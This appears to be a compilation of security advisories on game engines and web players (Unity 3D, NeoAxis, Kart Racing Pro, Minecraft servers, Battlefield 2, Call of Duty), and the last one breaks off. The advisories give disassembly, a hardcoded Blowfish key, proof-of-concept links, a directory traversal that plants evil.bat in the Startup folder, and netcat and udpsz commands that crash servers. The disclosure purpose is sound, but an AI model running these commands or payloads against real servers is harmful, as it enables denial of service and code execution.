Application: Unity 3D Web Player
Total Page:16
File Type:pdf, Size:1020Kb
unity3d_1-adv.txt 1 of 2 Application: Unity 3D web player http://unity3d.com/webplayer/ Versions: <= 3.2.0.61061 Platforms: Windows Bug: heap corruption Exploitation: remote Date: 21 Feb 2012 Unity 3d is a game engine used in various games and it’s web player allows to play these games (unity3d extension) also directly from the web browser. # Vulnerabilities # Heap corruption caused by a negative 32bit size value which allows to execute malicious code. The problem is caused by the modification of the 64bit uncompressed size (handled as 32bit by the plugin) of the lzma header which is just composed by the following fields (from lzma86.h): Offset Size Description 0 1 = 0 - no filter, pure LZMA = 1 - x86 filter + LZMA 1 1 lc, lp and pb in encoded form 2 4 dictSize (little endian) 6 8 uncompressed size (little endian) Reading of the 64bit field as 32bit one (CMP EAX,4) and some of the subsequent operations: 070BEDA3 33C0 XOR EAX,EAX 070BEDA5 895D 08 MOV DWORD PTR SS:[EBP+8],EBX 070BEDA8 83F8 04 CMP EAX,4 070BEDAB 73 10 JNB SHORT webplaye.070BEDBD 070BEDAD 0FB65438 05 MOVZX EDX,BYTE PTR DS:[EAX+EDI+5] 070BEDB2 8B4D 08 MOV ECX,DWORD PTR SS:[EBP+8] 070BEDB5 D3E2 SHL EDX,CL 070BEDB7 0196 A4000000 ADD DWORD PTR DS:[ESI+A4],EDX 070BEDBD 8345 08 08 ADD DWORD PTR SS:[EBP+8],8 070BEDC1 40 INC EAX 070BEDC2 837D 08 40 CMP DWORD PTR SS:[EBP+8],40 070BEDC6 ^72 E0 JB SHORT webplaye.070BEDA8 070BEDC8 6A 4A PUSH 4A 070BEDCA 68 280A4B07 PUSH webplaye.074B0A28 ; ASCII "C:/BuildAgen t/work/b0bcff80449a48aa/PlatformDependent/CommonWebPlugin/CompressedFileStream.cp p" 070BEDCF 53 PUSH EBX 070BEDD0 FF35 84635407 PUSH DWORD PTR DS:[7546384] 070BEDD6 6A 04 PUSH 4 070BEDD8 68 00000400 PUSH 40000 070BEDDD E8 BA29E4FF CALL webplaye.06F0179C ... 070BEC6B 8B86 A4000000 MOV EAX,DWORD PTR DS:[ESI+A4] ; our value 070BEC71 2B86 A8000000 SUB EAX,DWORD PTR DS:[ESI+A8] 070BEC77 33C9 XOR ECX,ECX 070BEC79 3D 00000400 CMP EAX,40000 070BEC7E C745 FC 00000400 MOV DWORD PTR SS:[EBP-4],40000 070BEC85 7F 04 JG SHORT webplaye.070BEC8B ; signed comparison 070BEC87 8945 FC MOV DWORD PTR SS:[EBP-4],EAX ; replace 0x40000 wit h our value ... unity3d_1-adv.txt 2 of 2 070C0DAB 2975 FC SUB DWORD PTR SS:[EBP-4],ESI The provided proof-of-concept is not optimized but should show a write4 and (tested on Firefox) EIP pointing to an invalid memory zone after various continuable exceptions. A script about the format of the unity3d files is available here: http://aluigi.org/papers/bms/unity3d_webplayer.bms # Exploit # http://aluigi.org/poc/unity3d_1.zip neoaxis_1-adv.txt 1 of 1 Application: NeoAxis web player http://www.neoaxis.com Versions: <= 1.4 Platforms: Windows Bug: directory traversal Exploitation: remote Date: 15 Jan 2012 From vendor’s homepage: "NeoAxis Engine is an all-purpose 3D engine for game development, simulation and visualization systems creation." The web player is a plugin for the web browser for running the content online. # Vulnerabilities # For being played by the plugin the web content must be placed in a zip file called neoaxis_web_application_win32.zip and must be created a neoaxis_web_application.config file containing the size and the md5 hash of that zip. When the browser visits the page where is located the content it will ask first for the permission to download it and then to run it. In the downloading phase the zip file will be placed in the Cache folder of the "NeoAxis Web Player" user’s folder and when the user runs it all the files will be extracted in the ExtractedApplications folder. No checks are performed on the extracted filenames so it’s enough to use a classical directory traversal pattern for writing or overwriting the files outside the ExtractedApplications folder. # Exploit # http://aluigi.org/poc/neoaxis_1.zip Put the files on a web server and load neoaxis_1.htm. Note that by default the html file will load the content from http://localhost so modify that URL accordingly to match the address of the test server. The proof-of-concept will write the file evil.bat in the Startup folder of the user. piboso_1-adv.txt 1 of 1 Applications: Engine used in Kart Racing Pro, GP Bikes and World Racing Series http://www.kartracing-pro.com http://www.gp-bikes.com http://www.worldracingseries.net Versions: current ones, refer to the date of this advisory Platforms: Windows Bug: stack overflow Exploitation: remote, versus server Date: 27 Jun 2011 (found and reported on my forum 15 Dec 2010) Kart Racing Pro, GP Bikes and World Racing Series are some "forever work-in-progress" commercial games that are very used and appreciated due to their features (gpbikes is really promising) and the simulation and type of simulated vehicle (KRP has a big growing community). # Vulnerabilities # The games use all the same engine and they encrypt their UDP packets with blowfish (bf_ecb) using the key "fe7epraruWRa7reV". This engine is vulnerable to an 8 bytes stack overflow caused by the usage of a buffer of 1400 bytes and the calling of recvfrom with a size of 1408. The overflow happens immediately after the decryption of the content. Note that Kart Racing Pro is compiled with the exception handler so code execution is not possible there, only a crash. # Exploit # http://aluigi.org/poc/piboso_1.dat nc SERVER PORT -u < piboso_1.dat the default ports are 10600 for KRP or 10500 for the other games. minecraft_like-adv.txt 1 of 1 Applications: various Versions: refer to each single case, note that they were the latest versions at the moment of the tests Platforms: Windows and possibly others Bugs: multiple Denial of Service vulnerabilities Exploitation: remote, versus server Date: 27 Jun 2011 (found and reported on my forum 22 Feb 2011) From http://old.zenhax.com/minecraft-day-t1769.html Just a quick and dirty 5-minutes check I did on some third parties server softwares available for Minecraft (http://www.minecraft.net). The following is the list of the problems and directly the command needed to verify each one of them: ======================================================================= MCServer http://www.mc-server.org/ version: r172 http://SERVER:8080/aaaaaaaaaaaa...1000_’a’s...aaa udpsz -C 027fff -b a -T SERVER 25565 0x8002 udpsz -C 3b -b 0x7f -T SERVER 25565 0x8002 udpsz -C "01 00000000" -b 0x30 -T SERVER 25565 0x6072 udpsz -C 0d -b 0x00 -T SERVER 25565 42 ======================================================================= MCSharp http://crafted.voziv.com/mcsharp/ version: 0.90 tcpfp -m 80 -t 100 -f mcjoin.dat SERVER 25565 ======================================================================= MineServer http://mineserver.be/ version: 20110214013000 udpsz -C "01 00000008 0001 69 0001 69 0000000000000000 00" -b 0x0f -T SER VER 25565 36 ======================================================================= Opencraft http://opencraft.sourceforge.net/ version: 0.3 tcpfp -t 100 -f mcjoin.dat SERVER 25565 ======================================================================= All the problems are crashes (like NULL pointers and invalid memory accesses) and CPU at 100% and so on. Links to the tools used in the test: udpsz: http://aluigi.org/testz/udpsz.zip tcpfp: http://aluigi.org/fakep/tcpfp.zip mcjoin.dat: http://aluigi.org/poc/mcjoin.dat bf2null-adv.txt 1 of 1 Application: Refractor 2 engine Games: Battlefield 2 <= 1.50 (aka 1.5.3153-802.0) http://www.battlefield.ea.com/battlefield/bf2/ Battlefield 2142 <= 1.51 (aka 1.10.112.0) http://battlefield.ea.com/battlefield/bf2142/ ... other games developed with the same engine could be vulnerable too but in my tests I wasn’t able to replicate the problem on Battlefield 1942 (the old Refractor 1 engine that in any case must be not excluded as possibly vulnerable) and I haven’t tested games like Battlefield Heroes mainly because don’t exist public dedicated server software but only servers hosted by official EA partners Platforms: Windows and Linux Bug: NULL pointer Exploitation: remote, versus server Date: 19 Feb 2011 Authors: SomaFM, Luigi Auriemma and Francis Lavoie-Renaud Advisory: Luigi Auriemma The Battlefield series is one of the most famous and played series of games deeply devoted to multiplayer gaming. The series is developed by DICE (http://www.dice.se) and published by Electronic Arts. # Vulnerabilities # In some conditions that seem dependent by the players in the server it’s possible to cause a NULL pointer dereference that crashes the server: bf2_w32ded+0x216f9f: 00616f9f 8b01 mov eax,dword ptr [ecx] ds:0023:00000000 00616fa1 ff9094000000 call dword ptr [eax+94h] From my tests the NULL pointer is reached when the same attacker or another player leaves the server while the old bf2loop proof-of-concept is running versus the server where that old bug has been patched. # Exploit # http://aluigi.org/poc/bf2loop.zip How to replicate the vulnerability: - join the server with the normal game client it’s not needed to play in it, it’s enough just to join it till the menu in which selecting the base where spawning - launch bf2loop (version 0.2) versus the server it will automatically continue to test the server till its crash - disconnect the game client from the server - the server will crash immediately cod7mem-adv.txt 1 of 1 Application: Call of Duty: Black Ops http://www.callofduty.com Versions: unknown, refer to the release date of this advisory Platforms: unknown (it should be Windows) Bug: memory leak Exploitation: remote, versus server Date: 18 Nov 2010 Call of Duty Black Ops (cod7) is the new game of the CoD series. Just like cod6 also this one is distribuited as "client-only", which means that a normal user cannot host a server. Only some hosting companies (GameServers) or the same Treyarch can host dedicated servers.